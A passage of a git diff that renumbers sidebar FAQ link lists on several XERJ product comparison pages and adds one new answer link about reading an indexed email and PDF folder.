class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-houdahspot.html b/landing/compare/xerj-vs-houdahspot.htmlindex 68ba964c2..2166e5d37 100644--- a/landing/compare/xerj-vs-houdahspot.html+++ b/landing/compare/xerj-vs-houdahspot.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-khoj.html b/landing/compare/xerj-vs-khoj.htmlindex 886582d8b..0374c922f 100644--- a/landing/compare/xerj-vs-khoj.html+++ b/landing/compare/xerj-vs-khoj.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/compare/xerj-vs-localsynapse.html b/landing/compare/xerj-vs-localsynapse.htmlindex 102affd47..c88447652 100644--- a/landing/compare/xerj-vs-localsynapse.html+++ b/landing/compare/xerj-vs-localsynapse.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a 